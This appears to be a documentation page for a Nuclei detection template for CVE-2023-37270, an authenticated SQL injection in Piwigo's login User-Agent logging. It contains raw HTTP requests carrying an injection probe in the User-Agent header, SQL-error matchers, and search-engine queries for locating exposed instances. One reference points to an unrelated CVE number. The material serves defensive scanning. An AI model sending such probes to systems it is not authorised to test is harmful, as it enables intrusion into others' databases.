Piwigo 13.7.0 - SQL Injection
ID: CVE-2023-37270
Severity: high
Author: ritikchaddha
Tags: cve2023,cve,piwigo,sqli,authenticated
Description
Section titled “Description”Piwigo is open source photo gallery software. Prior to version 13.8.0, there is a SQL Injection vulnerability in the login of the administrator screen. The SQL statement that acquires the HTTP Header User-Agent is vulnerable at the endpoint that records user information when logging in to the administrator screen. It is possible to execute arbitrary SQL statements. Someone who wants to exploit the vulnerability must be log in to the administrator screen, even with low privileges. Any SQL statement can be executed. Doing so may leak information from the database. Version 13.8.0 contains a fix for this issue. As another mitigation, those who want to execute a SQL statement verbatim with user-enterable parameters should be sure to escape the parameter contents appropriately.
YAML Source
Section titled “YAML Source”id: CVE-2023-37270
info: name: Piwigo 13.7.0 - SQL Injection author: ritikchaddha severity: high description: | Piwigo is open source photo gallery software. Prior to version 13.8.0, there is a SQL Injection vulnerability in the login of the administrator screen. The SQL statement that acquires the HTTP Header `User-Agent` is vulnerable at the endpoint that records user information when logging in to the administrator screen. It is possible to execute arbitrary SQL statements. Someone who wants to exploit the vulnerability must be log in to the administrator screen, even with low privileges. Any SQL statement can be executed. Doing so may leak information from the database. Version 13.8.0 contains a fix for this issue. As another mitigation, those who want to execute a SQL statement verbatim with user-enterable parameters should be sure to escape the parameter contents appropriately. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. remediation: | Upgrade to a patched version of Piwigo or apply the necessary security patches provided by the vendor. reference: - https://github.com/Piwigo/Piwigo/security/advisories/GHSA-934w-qj9p-3qcx - https://nvd.nist.gov/vuln/detail/CVE-2023-27524 - https://github.com/Piwigo/Piwigo/blob/c01ec38bc43f09424a8d404719c35f963d63cf00/include/dblayer/functions_mysqli.inc.php#L491 - https://github.com/Piwigo/Piwigo/blob/c01ec38bc43f09424a8d404719c35f963d63cf00/include/functions.inc.php#L621 - https://github.com/Piwigo/Piwigo/commit/978425527d6c113887f845d75cf982bbb62d761a classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2023-37270 cwe-id: CWE-89 epss-score: 0.02538 epss-percentile: 0.90171 cpe: cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: piwigo product: piwigo shodan-query: http.favicon.hash:540706145 fofa-query: - icon_hash=540706145 - title="piwigo" google-query: powered by piwigo tags: cve2023,cve,piwigo,sqli,authenticated
http: - raw: - | POST /identification.php HTTP/1.1 Host: {{Hostname}} User-Agent: '">{{7*7}}${2*2} Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&login= - | GET /admin.php?page=user_activity HTTP/1.1 Host: {{Hostname}}
host-redirects: true
matchers-condition: and matchers: - type: word part: body_2 words: - 'Warning: [mysql error' - 'INSERT INTO' - 'SQL syntax;' condition: and
- type: status status: - 200# digest: 4a0a00473045022100d7a7f3ac952af05f153bcee5ddd6f5a0ed12884b9e1ae2abf3221b16ad3440320220303ab6f97c9463791cad097b0a88dd5555c82731e92f9d31aa77f75862bb782a:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-37270.yaml"